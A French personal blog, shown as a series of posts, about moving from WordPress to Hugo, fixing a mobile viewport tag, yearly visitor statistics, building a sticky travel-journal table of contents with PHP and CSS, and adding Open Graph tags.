Cette découverte de Hugo et du thème Stack s’est révélée très intéressante. Je suis tout de même arrivé à personnaliser pas mal de trucs assez facilement. J’ai vu aussi que certaines parties peuvent être complexes, notamment ces pages HTML qui sont un mix de pur html et de shortcodes Hugo que je ne maîtrise pas du tout pour l’instant.

Mais c’est très prometteur quand même, et tout aussi passionnant. Cela ne fait que m’encourager à continuer dans cette voie.

Migrer le blog vers Hugo

Mon, 29 Jun 2026 15:10:37 +0000

Je suis en train de réfléchir sérieusement à migrer mon blog Wordpress vers Hugo, un SSG ( S tatic S ite G enerator) qui offre simplicité et rapidité comparé à “l’usine à gaz” qu’est Wordpress. Attention, il ne s’agit pas ici pour moi de critiquer WP, je l’ai utilisé pendant assez longtemps (~20 ans) et j’étais bien content de l’avoir. Mais il est vrai que c’est assez lourd, avec le PHP, la base de données, les plugins incertains… Pour un simple blog comme le mien, je n’ai honnêtement pas besoin d’autant de complexité.

Car ce sont autant de surfaces d’attaque, avec tout ce code généré ; il suffit d’ailleurs de voir le nombre de mises à jour de WP, sans parler de la qualité des plugins que l’on a activé sur son site, plus ou moins bien écrits, plus ou moins maintenus, etc… Avec Hugo et ses pages statiques en HTML, il n’y a rien à attaquer car rien ne s’exécute. Il ne faut pour autant pas idéaliser la chose, car si on ajoute un système de commentaires (externe), il faudra gérer la question des spams, car Hugo ne propose évidemment rien sur le sujet…

L’autre aspect problématique de WP, c’est la performance (d’où le terme “usine à gaz” utilisé), et sans un hébergeur qui a toutes capacités de mise en cache et d’optimisation en tous genres, le temps d’affichage d’une page serait vraiment très long. Hugo, en tant que SSG, génère des pages statiques en HTML, et il suffit donc de les envoyer au navigateur, et c’est évidemment beaucoup plus rapide :

Hugo, c’est donc le choix de la simplicité : on écrit ses articles en markdown, et Hugo se charge de les convertir en HTML. Il y a certainement moins de possibilités qu’avec Gutenberg, l’éditeur de WP (encore qu’il y a les shortcodes dans Hugo). Il y a surtout les aspects pas du tout gérés par Hugo, comme les formulaires ou les commentaires, mais avec des solutions externes pour les remplacer.

Mais ce côté simplification me plaît, se concentrer sur le texte de l’article, et laisser tomber les petites fioritures que permet WP avec le choix d’une multitude de plugins, mais qui finalement ne sont pas indispensables. Avoir un blog très rapide, des articles qui s’affichent en un clin d’œil, et qui se concentrent sur l’essentiel, c’est tentant. Alors pourquoi pas ?

Mais qu’est-ce que ça implique vraiment ?

Découverte

Il existe beaucoup d’articles sur Hugo, le SSG est très populaire et son développement actif, ce qui est une bonne chose. Ce n’est donc pas la littérature sur le sujet qui manque, et encore moins sur la migration en venant de Wordpress. J’ai retenu ces deux articles :

Pourquoi migrer : https://benoit.gouthiere.be/blog/migration-wordpress-hugo/
Comprendre Hugo : https://www.regisphilibert.com/blog/2019/01/from-wordpress-to-hugo-a-mindset-transition/

Un autre environnement

Déjà, on change totalement d’environnement, il y aura plein de nouvelles choses à apprendre, c’est certain, à commencer par Hugo. J’ai commencé par l’installer sur mon PC, jouer un peu avec, générer les pages HMTL, les envoyer sur mon hébergeur. Il faut reconnaître que c’est assez simple et intuitif, une fois que l’on a assimilé les bases. On commence par la doc bien entendu, qui est d’ailleurs très bien faite. Et notamment la page de Quicktart, et en quelques minutes vous avez votre premier site disponible. Toutes les modifications faites sur les fichiers .md ou de configuration sont pris en compte dynamiquement, c’est très pratique quand on teste quelque chose. Et quand on le souhaite, on génère le site statique (dans le dossier public) qu’il suffit d’envoyer sur votre hébergeur par exemple, et voilà le tour est joué. Cette première approche s’est révélée facile et cela donne envie de continuer et d’approfondir.

Puis j’ai voulu choisir un thème. Et là, le thème Stack qui me plaît me renvoie sur une page Github qui me dit :

J’ai mis du temps à comprendre de quoi il retournait : en fait il recommande de l’installer sur Github comme un dépôt, qui permet de générer automatiquement le site statique toujours sur Github. De plus, le thème sera automatiquement mis à jour si une nouvelle version est publiée. On passe vraiment dans un autre monde, un monde de développeur, ce que je ne suis pas. Mais cela laisse entrevoir de nouvelles possibilités, si l’on souhaite les apprendre (ainsi qu’une certaine maîtrise de Github). Mais à priori je ne compte pas aller jusque là.

Heureusement, on peut aussi installer ce thème en local sur sa machine, et c’est ce que j’ai fait pour l’instant, ne maîtrisant pas Github (cela ferait beaucoup trop de choses nouvelles à appréhender en même temps). Je suis beaucoup plus à l’aise en local, et quand il s’agira de personnaliser le thème pour correspondre à mes souhaits, cela sera beaucoup plus facile ainsi.

Hébergeur

Un autre avantage d’Hugo, c’est de pouvoir se passer d’hébergeur, d’abord parce que les optimisations requises par WP sont désormais inutiles, et parce qu’il y a des solutions gratuites pour ce type de site statique : on peut donc utiliser les GitHub Pages, mais aussi Netlify, ou encore les Cloudflare Pages. À terme, je peux même imaginer auto-héberger mon blog sur mon NAS, tout simplement.

Il me suffira de conserver mon nom de domaine, et d’en faire ce que je veux. D’ailleurs, Github Pages supporte les “custom domain”, si je souhaitais bénéficier du déploiement automatisé mentionné plus haut.

Migration

Le projet est donc tentant mais cela implique de migrer mon blog WP, soit près de 1500 articles, et cela signifie certainement un très gros travail de migration, même s’il y a des outils et autres scripts qui sont là pour aider : en gros, on exporte le site WP au format XML (opération standard que permet le tableau d’administration de WP), puis un script va convertir tous les articles et les pages exportés au format Markdown. C’est déjà un énorme travail de fait, et disons que le texte de chaque article est correctement migré, mais qu’en est-il du reste ?

C’est-à-dire tout le HTML autre que le texte : les liens (par exemple l’attribut _target="blank" qui permet d’ouvrir le lien dans un nouvel onglet n’existe pas en markdown), les images, tableaux, mais surtout tous les différents blocs de Gutenberg que j’ai utilisé (audio, vidéo, galerie, etc…) qui utilisent un format spécifique, et d’autres cas particuliers que je découvrirai certainement au cours de l’opération. Il faudra repasser sur certaines choses, si je peux l’automatiser avec un script, ça ira, mais sinon revoir tous les articles un par un s’avérerait un énorme boulot.

Et comment seront migrées les pages de mes journaux de voyage où j’ai fait un beau “page template” avec un sommaire glissant à droite ? Probable qu’il me faudra en revoir la présentation, même si j’ai vu que les templates existaient avec Hugo (après tout ce n’est que du HTML et du CSS), donc il y aura peut-être une solution ?

Les autres choses auxquelles il faut porter attention :

Thème

Pour le thème, l’apparence globale sera revue de A à Z, à moins de vouloir le recréer à l’aide de l’AI comme je l’ai lu une fois. Pour ma part, j’ai choisi un thème disponible pour Hugo, et ce sera l’occasion de profiter de ce nouveau thème et de l’adapter à mes souhaits. Cela donnera un coup de neuf au blog, c’est très bien comme ça. Et si certaines choses disparaîtront, de nouvelles seront présentes, c’est le principe de tout changement.

Plugins

Avec WP, j’essayais de limiter le nombre de plugins au maximum, pour ne pas alourdir ni compliquer la gestion du site, mais il y en a quand même quelques uns : l’idée c’est de se passer d’eux quand c’est possible (simplification) et de voir les solutions pour les autres.

Il y a bien sûr le plugin Akismet pour lutter contre les spams, très efficace et indispensable avec WP. Je verrai comment cela va se passer sur cet aspect avec Hugo ou plutôt avec Remark42, le système de commentaires que j’ai repéré pour l’instant, et ce qu’il propose à ce sujet : sera-t-il toujours possible de conserver les commentaires anonymes ? Ce n’est pas certain.

Autre exemple : Je pensais faire une croix sur la citation que j’affiche en haut de la colonne de droite : il s’agit du plugin UtterQuotes (qui d’ailleurs n’était plus maintenu depuis des années, mais fonctionnait encore pour l’essentiel, avec une table dédiée dans la BdD). Typiquement le genre de choses qui n’existe pas sur Hugo, mais en lisant cet article, j’ai pu recréer le système. Il a aussi fallu extraire mes citations de la BdD, et les importer dans un fichier .json, pour cela Mistral AI m’a fourni un script en quelques secondes. De bonnes surprises peuvent donc aussi se produire durant la migration.

Il y a aussi d’autres plugins dont je devrais me passer, comme celui qui me permettait d’afficher la liste d’articles par catégories, sous forme d’excerpt, mais cette possibilité est présente de base avec le thème Stack que j’ai choisi.

Les commentaires

Pour revenir aux commentaires, il y a plusieurs solutions externes de proposées pour Hugo, et notamment Disqus, le plus connu. Mais il n’est pas libre, et exploite vos données, il est donc hors-jeu d’entrée pour mon blog. Certains autres se basent sur Github où il faut donc avoir un compte pour poster un commentaire, c’est un peu limitatif. Il en reste quelques autres, et il faut idéalement qu’il soit supporté par votre thème pour assurer une intégration facile.

J’ai donc commencé à regarder Remark42 de plus près, il a l’air de cocher pas mal de cases, axé sur le respect de la vie privée, et que l’on peut auto-héberger via Docker. Je n’ai donc pas tardé à installer le container sur mon NAS et commencé à jouer avec. Il permet l’authentification par email, ou par les réseaux sociaux (chose que je ne compte pas implémenter avec l’exception de Github), mais aussi les commentaires anonymes, que j’aimerais bien conserver, à voir si cela sera possible (risque de spams). Il lui manque juste une interface d’administration, mais si j’en avais besoin, j’ai vu qu’il existait des solutions externes, comme celle-ci : https://github.com/lauralesteves/remark42-admin-ui, si nécessaire. Le monde du logiciel libre est vaste…

Remark42 permet aussi d’importer les commentaires de WP, je n’ai pas encore testé à fond cette option, j’espère qu’elle fonctionne, ça m’embêterait de perdre tous les commentaires existants.

Les outils de migration

Voilà ce que j’ai vu pour l’instant sur le sujet : la plupart reposent donc sur l’export que permet de faire WP via le menu Outils - Exporter. On choisit “Tout” et on récupère un fichier .xml que l’outil va traiter. On en trouve une liste ici : https://gohugo.io/tools/migrations. Ou encore sur une liste fournie par un utilisateur sur le forum ici : https://discourse.gohugo.io/t/best-practices-or-a-smarter-way-to-create-a-60k-pages-website/46328. Mais elles ne fonctionnent pas toutes : certaines sont assez anciennes et ne sont pas mises à jour depuis plusieurs années, d’autres proposent un script python qu’ils ont créé pour eux… et qui ne fonctionne tout simplement pas ! D’autres encore s’installent comme plugins dans WP, mais de ce que j’ai pu voir, elles ne sont pas mises à jour non plus, et plutôt basiques.

J’ai retenu les deux les plus réputées qui sont :

wordpress-export-to-mardown (écrit en JS) : J’aime bien le fait qu’il permette d’organiser les articles dans une arborescence de type année/mois/article. On obtient un dossier pour chaque article, avec dans chaque un dossier images, où l’on retrouve les images de l’article. C’est l’organisation que j’aimerais retrouver. Mais il est plutôt limité : on peut dire qu’il gère les articles et les images, ainsi que les catégories. Et ça s’arrête là.

wp2hugo (écrit en Go) : le script est souvent mentionné, et il est sans doute le plus complet, gérant bien les contenus multimédias (liens videos, audio), et plein d’autres choses. Mais il crée les nouveaux articles à plat dans un répertoire, et les images sont dans le dossier static, en recréant l’arborescence de wordpress, genre static/wordpress/upload/year/month. Ce n’est pas ce que je voudrais.

En posant la question au développeur sur son projet Github, il m’a parlé d’un outil complémentaire qu’il est en train de développer, hugomanager, et qui permet entre autres, de réorganiser les posts en dossiers indépendants contenant ses propres images. Cela me conviendrait beaucoup plus. Pour l’instant, cela ne fonctionne pas, mais j’avance avec le dev sur le sujet.

Pour l’organisation en dossier “year/month” de l’ensemble des articles, j’ai aussi créé une issue, et il l’a déjà implémentée dans wp2hugo. Avec ces deux modifications, on obtiendrait avec le script un dossier posts avec à l’intérieur une organisation par année puis par mois, et pour chaque article un sous-dossier images. Ce serait parfait pour moi.

Si j’arrive grâce à lui à pouvoir résoudre les principaux problèmes de cette migration, cela va beaucoup m’aider. Il a l’air assez réactif, et prêt à ajouter des options à son outil, c’est vraiment génial ! :cool:

Conclusion

Je suis très tenté de me lancer dans cette aventure ! L’esprit me plaît, l’approche d’un site statique aussi, je vais donc continuer à creuser et faire quelques tests de migration pour évaluer le travail que j’aurais à faire.

Chez mon hébergeur Infomaniak, j’ai déjà créé un deuxième WP de test, ou je crée quelques articles et pages pour avoir un échantillon représentatif du contenu de mon blog. Puis je l’exporte en XML, et en local sur mon PC, je peux lancer le script de migration et regarder ce que cela donne dans Hugo. Parallèlement, je personnalise le thème que j’ai choisi et m’adapte aux changements que cela oblige. Je peux même pousser le HTML généré par Hugo sur un autre sous-domaine de mon hébergeur pour voir le rendu “en ligne”. Côté commentaires, Remark42 fonctionne en auto-hébergé, avec l’identification par github, mail ou de manière anonyme. Seul l’importation ne fonctionne pas pour l’instant, mais je n’ai pas vraiment creusé.

Voilà où j’en suis, ça a quand même bien avancé, je continue de tester le script de migration et de suggérer des améliorations ou créer des bugs, d’apprendre aussi sur Hugo, le thème, le système de commentaire Remark42, etc… On verra comment ce projet évolue, j’espère pour un jour faire la bascule vers ce nouveau système.

Mauvais affichage du blog sur mobile

Fri, 21 Nov 2025 15:21:19 +0000

Surprise hier, en affichant mon blog sur le smartphone, j’avais un espace à droite inutilisé :

Manifestement, la partie “web responsive” détectait mal la largeur de l’écran, mais pourquoi ? Je n’ai pas fait de modifications sur le thème récemment, je ne comprenais donc pas trop d’où pouvait venir le problème.

J’ai commencé par vider le cache du navigateur et recharger la page, sans changement. Puis j’ai installé un autre navigateur sur le smartphone : idem, le problème persistait. Ce matin, j’ai donc commencé à regarder cela de plus près, et j’ai été assez heureux puisque j’ai vite trouvé comment corriger ce problème, même si je ne maîtrise pas le sujet…

Webusb debuging

Le premier problème, c’est de trouver comment trouver les outils développeurs. Je me souvenais l’avoir fait une fois avec le navigateur chromium (c’est plus simple qu’avec Firefox), j’ai donc pu retrouver facilement la manip : il faut activer le débogage USB sur le smartphone, puis dans le navigateur taper chrome://inspect#devices dans la barre d’adresse. Après avoir accepté la clef de chiffrement, l’appareil s’affiche, ainsi que la ou les page(s) web ouvertes :

Il ne reste plus qu’à cliquer sur inspect, et on accède aux outils de dev comme sur le PC : je retrouve donc ma page d’accueil mal affichée, et remarque assez vite cette ligne dans la section <head> de la page html :

En remplaçant la valeur device-width par une valeur numérique, je vois que j’impacte bien la largeur de l’affichage sur l’écran du portable. Je vais alors chercher un peu sur le web des infos sur ce meta name="viewport", et trouve cette page. Je vois que leur exemple est légèrement différent de ma ligne :

<meta name="viewport" content="width=device-width, initial-scale=1.0"\>

Alors que ma ligne se limite à :

<meta name="viewport" content="width=device-width"\>

Sans trop chercher à creuser, j’ajoute ce second paramètre qui m’a l’air de faire sens par rapport à mon problème, et l’affichage redevient correct :

Parfait, reste à trouver et modifier le fichier correspondant côté wordpress. Il s’agit du fichier header.php dans le dossier du thème actif.

Astuce

J’ai aussi appris que pour afficher le code source de la page côté mobile, il suffit d’ajouter view-source: avant l’adresse du site visité :

Conclusion

Je ne sais pas trop d’où est venu ce problème, je ne l’avais jamais remarqué avant, c’est donc forcément assez récent. De ce que j’ai lu sur la page d’explication à propos de la notion de viewport, c’est probablement à la suite d’une mise à jour d’Android et/ou du navigateur Vanadium qu’utilise GrapheneOS.

Mais voilà un problème de réglé rapidement, et j’avoue avoir eu de la chance de tomber immédiatement sur la bonne ligne et le bon paramètre… Cela compensera les fois où je passe des heures à trouver la solution ! :cool:

Statistiques du blog – année 2024

Wed, 01 Jan 2025 16:47:48 +0000

Comme chaque année ou presque, voilà les statistiques du blog pour l’année 2024. Comme je le dis à chaque fois, c’est sans doute l’article le plus inutile de l’année, il est donc important de commencer celle-ci par celui-là. :wink:

C’est aussi l’occasion de souhaiter une bonne année 2025, une bonne santé, et plein de bonnes choses à tous les lecteurs occasionnels ou pas de ce modeste blog.

Car autant vous le dire tout de suite, les stats sont nettement à la baisse ! :eek: Et comme je n’ai pas fait de stats l’année dernière pour cause de voyage, je compare les chiffres à ceux de 2022.

Les stats

On commence comme toujours par le nombre de visites mensuelles. Malgré un bon mois de janvier à la hauteur de l’année 2022, les mois suivants sont largement inférieurs :

Quand on compare les vues avec les années précédentes, la baisse est plus que confirmée, puisqu’en 2024, on arrive à peine au-dessus de 1500 vues en moyenne par mois contre 2400 en 2022 :

On revient presque aux valeurs de 2015 ! :sad:

Concernant le nombre de visites, voilà ce que donne mon tableau de suivi (d’après les statistiques WordPress disponibles, et des données de Free pour les années 2005 à 2007 tirées de mes articles de stats annuels.) :

Bref, j’arrive ainsi à un total de 707 029 visites. Du coup, je mets le « footer » du blog avec cette nouvelle valeur (mise à jour annuelle et manuelle, je n’ai plus de plugin pour l’afficher en temps réel).

Les articles

Il y a maintenant 1528 articles publiés sur le blog, et 581 commentaires.

Retour sur 2023 : 53 articles ont été publiés (en hausse), et il y eu 33 commentaires (en baisse) de postés. En 2024, 62 articles ont été publiés (en hausse, de plus j’étais absent en janvier et février), et il y eu 36 commentaires (stable) de postés. J’ai donc plutôt été productif en terme d’articles ces deux dernières années (ce sont bien les seuls chiffres en hausse ! :lol: ).

Titre2015201620172018201920202021202220232024Articles75659256685651425362Commentaires2654401095552118583336

Et voilà le calendrier des publications pour 2024 :

Le Top 20

Venons-en maintenant aux articles les plus lus en 2024.

Un des articles sur ma fracture du coude a repris la première place, l’autre n’est pas très loin (5e), et même la “chute de vélo à l’arrêt” prend la vingtième place ! Impossible de s’en défaire…

Après, je vois pas mal d’articles liés à OpenMediaVault et bien classés, c’est plutôt sympa si les gens se tournent vers l’auto-hébergement.

Il y a deux nouveaux articles qui apparaissent pour la première fois (comme je n’ai pas fait de stats l’année dernière) : “Pixel 6a : Installation de GrapheneOS” et “Chaîne Hi-Fi : passage en numérique avec l’ampli Aiyima”. Je suis très satisfait de ces deux solutions.

Côté littérature, seule Simone de Beauvoir et les “Mémoires d’une jeune fille rangée” s’en sort plutôt bien avec une belle 14ème place. Un excellent bouquin ! En 2022, c’était Ringolevio qui avait tiré son épingle du jeu en obtenant la 16ème place.

Vue graphique :

Et avec l’historique des années précédentes :

Titre2015201620172018201920202021202220232024Fracture du coude – 6 mois après486111407106786994594850586163284927551724Openmediavault : Installation de PLEX server262515299722061262Openmediavault : Installation de Nextcloud3482256217431089KVM : Partager un dossier et le presse-papier entre la machine hôte et l’invité231926927Rééducation du coude38081137811027668052643895407519611596887Openmediavault : Organisation des sauvegardes71415161124803Pihole comme DHCP serveur avec la box Orange48811351016795Faire son arbre généalogique avec GRAMPS6181130734245307475583488667395Un Raspberry Pi pour ma chaîne Hi-Fi3061616785596295DS Video sur Samsung Smart TV6282336190219041444558420287Pixel 6a : Installation de GrapheneOS431281Chaîne Hi-Fi : passage en numérique avec l’ampli Aiyima D03127218Mémoires d’une jeune fille rangée – Simone de Beauvoir18214342223128111154176208217OpenMediaVault : Sauvegarde & Restauration des containers Docker66198359214LineageOS avec microG à la place des services Google31569574492567435380199Openmediavault : installation de Qbittorrent avec OpenVPN183298352198Gnome-calendar : ajouter un agenda CalDAV324456336312191Mapper le répertoire d’un NAS Synology sur Ubuntu16260436485446279312191Debian : Installation pilote NVIDIA et configuration X11153570186Chute de vélo (à l’arrêt)453843763565468483512273303182

Voilà, à l’année prochaine (si je ne suis pas reparti en voyage) et portez-vous bien !

Une TOC pour mon journal de voyage

Sat, 21 Dec 2024 17:17:53 +0000

Finalement, je vais faire un nouveau journal de voyage après mon séjour en Asie de l’hiver dernier. Mais en repassant sur les pages existantes (Asie 2018), j’ai vu que j’avais un peu bâclé la navigation parmi les différentes pages, avec une simple liste HTML de liens en bas de page… Ce n’était ni très joli ni très pratique. Bizarrement, Wordpress ne propose rien de base, il faut passer par des extensions.

J’ai donc regardé ce qui existait, il y en a quelques unes de pas mal, mais les versions gratuites sont assez basiques et limitées, et il faut payer pour avoir plus de fonctionnalités. Et les prix sont manifestement destinés à des entreprises, du genre plus de cinquante euros par an !

Je me suis alors orienté vers une autre solution, à base de deux extensions : une pour me générer une sidebar dédiée, et une autre pour rendre la TOC toujours visible à l’écran lors du défilement de la page. Mais là aussi, je me suis trouvé confronté à certaines limitations.

Finalement je me suis dit que j’allais faire ça tout seul, à base de HTML et de CSS, avec l’aide d’un template de page spécifique, chose que propose Wordpress. Et comme j’avais un peu de mal à tout créer “from scratch”, j’ai eu l’idée de demander de l’aide à ChatGPT ! Et là j’ai carrément été bluffé… :eek:

Les pré-requis étaient un menu qui s’affiche à droite de la page, et qui reste présent à l’écran lors du défilement de celle-ci. Il doit aussi s’afficher en bas de page si l’on est sur un smartphone. Et pour le résultat final , voilà un aperçu :

Your browser doesn't support HTML5 video. Here is a link to the video instead.

Voyons voir tout cela étape par étape.

La situation de départ

Pour mon “Journal de voyage”, j’avais initialement choisi d’utiliser le templage “Full width page” que propose Wordpress, c’est-à-dire sans barre latérale de contenu (sidebar). L’idée, c’était de se concentrer sur la lecture et d’éviter les distractions.

Et donc j’avais fait une simple liste HTML à base de <ul> et de <li> qui servait à naviguer à travers les pages. Franchement, ce n’était ni joli ni pratique !

Les extensions pour TOC

Wordpress ne proposant rien par défaut pour construire une table des matières, j’ai regardé du côté des extensions. Il y en a pas mal, et beaucoup sont payantes. Les rares gratuites comme Easy Table of Contents, permettent de faire des trucs pas mal, mais lorsque j’ai voulu aller un peu plus loin dans la personnalisation, je me suis retrouvé bloqué.

Je voulais que la TOC soit capable de gérer plusieurs pages puisque c’est mon cas, le journal de voyage s’étale sur plusieurs pages : une première définie comme “parent”, et les autres définies comme “enfant”. J’avais bien trouvé un plugin qui faisait cela, mais seulement avec la version payante (CMTOC).

J’ai tout de même contacté le support de Easy TOC, mais après un ou deux échanges concernant ma demande, ils m’ont proposé une conf’call sur le web. J’ai laissé tombé, je voyais bien que ça allait se terminer par une prestation payante.

Une autre solution avec 2 extensions

J’ai alors essayé de trouver une autre solution. Et je suis tombé sur ces deux extensions qui pouvaient me convenir :

L’idée, c’est d’utiliser Sidebar Manager pour remplacer la sidebar par défaut de mon thème (c’est exactement ce qu’il permet) pour certaines pages, et d’utiliser Fixed Widget pour que ma TOC reste toujours visible à l’écran (basé sur une classe CSS), ce qui me convenait tout à fait.

J’ai donc avancé dans cette solution : modifié mes pages pour qu’elle utilisent le “Modèle par défaut” (c’est-à-dire avec la sidebar de mon thème), puis d’utiliser l’extension “Sidebar Manager” pour remplacer cette sidebar pour afficher à la place un widget HTML tout simple. Il ne me restait plus qu’à faire une TOC en HTML, et de créer un style CSS pour qu’il ait une belle allure. Et il restait affiché à l’écran grâce à l’extension “Fixed Widget”.

J’arrivais à un truc pas mal du tout sur le PC (TOC dans la sidebar et qui reste affichée quand la page défile), sauf que l’affichage sur smartphone était mal affiché et de plus tronqué :

Là aussi, j’ai contacté le support de l’extension Sidebar Manager, mais je n’ai pas eu de réponse dans un premier temps (j’en ai reçu une depuis, ou quelqu’un me dit qu’il va voir cela avec son équipe…). Bon entre-temps j’étais passé à la solution suivante.

La solution sans extension

Finalement, je me suis dit : pourquoi ne pas tout faire à la main ? avec le CSS, c’est facile de diviser une page en 2 zones (une pour la sidebar), d’y mettre une TOC avec l’apparence que l’on veut, qui reste affichée à l’écran, et qui s’affichera sous la page en fonction de la taille de l’écran…

Pour cela, il me fallait un template de page spécifique. Cette page donne les explications de base nécessaires, ce qui assez simple finalement : j’ai copié le fichier full-width.php dans le répertoire page-templates du thème, pour en créer un appelé template-asie-2018.php. Il faut ensuite éditer le nouveau fichier et changer son “Template Name” pour qu’il soit affiché correctement par les pages d’admin de Wordpress :

<?php
/**
 * Template Name: Template Asie 2018 Page
 *
 * @package WordPress
 * @subpackage Twenty_Fourteen
 * @since Twenty Fourteen 1.0
 */

get_header(); ?>

J’ai choisi le template full-width puisque je veux créer une sidebar avec le CSS, c’est donc une page HTML sans barre latérale dont j’ai besoin.

Reste à faire cette partie de code, et après quelques essais “à la main” plutôt laborieux, je me dis tout d’un coup : “pourquoi ne pas demander à ChatGPT ?”. C’est étonnant, car c’est bien la première fois que j’utilise l’AI, mais manifestement j’avais l’info en tête quelque part… Bizarre comment fonctionne le cerveau ! :roll:

Bref, après quelques affinements, ChatGPT m’a fourni un fichier HTML et un autre CSS qui faisaient exactement ce que j’avais demandé : " Fais-moi une page html et css avec une colonne à droite dans laquelle un cadre contient un menu qui reste affiché à l’écran quand la page défile. Ce cadre doit passer en bas de page quand la largeur d’écran est inférieure à 600 px". Bluffant ! Voilà les fichiers pour les curieux :

fichiers ChatGPT Télécharger

À partir de là, il ne reste plus qu’à intégrer les parties nécessaires de ce code dans le template Wordpress que l’on précédemment créé. Voilà ce que ça donne, les ajouts sont indiqués par un commentaire “Personnalisation de la TOC”

<?php
/**
 * Template Name: Template Asie 2018 Page
 *
 * @package WordPress
 * @subpackage Twenty_Fourteen
 * @since Twenty Fourteen 1.0
 */

get_header(); ?>

<div id="main-content" class="main-content">

<!-- Personnalisation pour la TOC -->
	<div class="container-toc">
        <div class="content-toc">
<!-- FIN Personnalisation pour la TOC -->

			<?php
			// Start the Loop.
			while ( have_posts() ) :
				the_post();

				// Include the page content template.
<!-- Personnalisation pour la TOC -->
				get_template_part( 'toc', 'page' );
<!-- FIN Personnalisation pour la TOC -->
				// If comments are open or we have at least one comment, load up the comment template.
				if ( comments_open() || get_comments_number() ) {
					comments_template();
				}
				endwhile;
			?>
        </div>
<!-- Personnalisation pour la TOC -->
		<div class="sidebar-toc">
			<div class="floating-menu-toc">
				<ul>
					<h2>Voyage Asie 2018-2019</h2>
					<h3>Table des matières</h3>
					<li id="country">Thaïlande</li>
					<li id="locations"><a href="">Bangkok</a> |</li>
					<li id="locations"><a href="">Bangkok - Siem Reap</a></li>
				</ul>
			</div>
		</div>
<!-- FIN Personnalisation pour la TOC -->
	</div>
</div>

<?php
if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
	// Include the featured content template.
	get_template_part( 'featured-content' );
}
?>

</div><!-- #main-content -->

<?php
get_sidebar();
get_footer();

On voit que le menu doit y être créé directement, ce template ne servira donc que pour ce journal de voyage, mais ce n’est pas vraiment gênant. À noter la ligne suivante :

// Include the page content template.
<!-- Personnalisation pour la TOC -->
				get_template_part( 'toc', 'page' );
<!-- FIN Personnalisation pour la TOC -->

En fait, cette ligne permet au template de page d’appeller un autre fichier, qui par défaut s’appelle content-page.php. J’ai donc remplacé “content” par “toc” dans la ligne et copier content-page.php dans un nouveau fichier appelé toc-page.php. Ceci afin de modifier la classe utilisée CSS pour qu’elle convienne à celle que j’utilise pour la TOC :

$ diff content-page.php toc-page.php
18c18
< 	<div class="entry-content">
---
> 	<div class="content-toc">

Et enfin voilà le CSS ajouté au fichier style.css du thème :

.container-toc {
    display: flex;
    flex-wrap: nowrap;
    justify-content: space-between;
    padding: 20px;
}

/* Contenu principal */
.content-toc {
    flex: 1;
    margin-right: 20px; /* Espacement entre le contenu et la colonne */
}

/* Sidebar avec un menu flottant */
.sidebar-toc {
    width: 250px;
    background-color: #f4f4f4;
    padding: 20px;
    border-radius: 8px;
}

/* Menu flottant */
.floating-menu-toc {
    position: -webkit-sticky; /* Pour les anciens navigateurs Safari */
    position: sticky;
    top: 100px; /* Menu fixé à 100px du haut de la page */
    background-color: #f9f9f9;
    padding: 15px;
    border-radius: 8px;
    border: 1px solid #ddd;
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
    z-index: 100;
}

/* Liste du menu */
.floating-menu-toc ul {
    list-style-type: none;
}

.floating-menu-toc li {
    margin: 0;
    color: #444;
    font-size: 0.8em;
}

.floating-menu-toc h2 {
	list-style-type: none;
	list-style-position: inside;
	font-size: 0.9em;
	margin-top: 1em;
	margin-bottom: 0.5em;
	color: #888;
}

.floating-menu-toc h3 {
	list-style-type: none;
	list-style-position: inside;
	font-size: 0.8em;
	margin-top: 0em;
	margin-bottom: 1em;
	color: #888;
}

li#locations {
	display: inline;
	list-style-position: inside;
	font-size: 0.8em;
	margin: 0px;
	line-height: 1;
}

li#country {
	list-style-image: url(images/puces-toc.png);
	font-size: 1em;
	margin-left: 5px;
}

.floating-menu-toc a {
    color: #888;
}

.floating-menu-toc a:hover {
    color: #24890d;
    text-decoration:underline
}

/* Médias queries pour gérer les petits écrans */
@media (max-width: 600px) {
    .container-toc {
        flex-direction: column;
    }

    .sidebar-toc {
        width: 80%; /* La colonne prend toute la largeur sur les petits écrans */
        margin-top: 20px; /* Espacement entre le contenu et la sidebar */
        margin-left: 15px;
    }

    .floating-menu-toc {
        position: static; /* Le menu n'est plus flottant, il se place normalement */
        margin-top: 20px; /* Espacement entre le contenu et le menu */
    }
}

Conclusion

Voilà, j’ai désormais un beau menu pour mon journal de voyage de 2018, et tout cela sans installer de nouvelles extensions, ce que je préfère.

Quand je vais commencer mon journal de voyage de 2023, je devrais juste créer un nouveau fichier template-asie-2023.php, puisque le contenu du menu y est indiqué en “dur”. C’est la seule contrainte, et elle est franchement minime.

Et bravo à ChatGPT, j’ai franchement été très impressionné par sa facilité à créer exactement ce que je voulais.

Open Graph pour partager un article du blog

Thu, 05 Dec 2024 16:08:54 +0000

L’autre jour, j’ai voulu partager une page du blog avec un ami, en utilisant WhatsApp, et je me suis rendu compte que le partage n’était pas fantastique, il n’y avait pas d’aperçu du lien comme on voit la plupart du temps, et je me suis demandé pourquoi. J’avais déjà remarqué cette limite de mon blog, sans jamais m’en occuper vraiment.

Voilà ce que ça donnait : on a le “favicon” du blog, et aucun début du texte de l’article. Pas génial donc.

En fait, c’est assez simple, tout est basé sur l’Open Graph protocol (créé par Facebook). Il suffit d’ajouter quelques lignes de metadata en haut de votre page web (dans le header), comme ceci par exemple :

<meta property="og:title" content="titre de l'article"/\>
<meta property="og:type" content="article"/>
<meta property="og:url" content="http://exemple.com/exemple-titre-article"/>
<meta property="og:image" content="http://exemple.com/article_thumbnail.jpg"/>
<meta property="og:description" content="Cet article présente le protocole Open Graph"/>

Plus d’infos sur le protocole peut être trouvé ici.

Rien de très compliqué donc, on pourrait même le faire manuellement, mais le plus simple est encore d’utiliser un plugin qui va vous faire ça automatiquement. J’ai choisi Open Graph, simple et efficace.

Et voilà ce que ça donne pour mon message :

Voilà, mon blog vient de faire un pas vers le monde des réseaux sociaux ! :cry:

Voilà une adresse bien pratique pour tester votre URL afin de voir si le problème ne vient pas d’ailleurs :

https://iplocation.io/open-graph-checker

Zenphoto 1.6.5 et données EXIF des images

Tue, 29 Oct 2024 15:29:14 +0000

La version 1.6.5 de Zenphoto est sortie le 23 octobre dernier, et corrige le bug introduit avec la version précédente concernant les métadonnées des images. Je l’attendais avec impatience, puisque j’avais changé de thème en 2021 et intégré cette fonctionnalité de géolocalisation pour les photos, et qui ne fonctionnait plus à cause de ce bug !

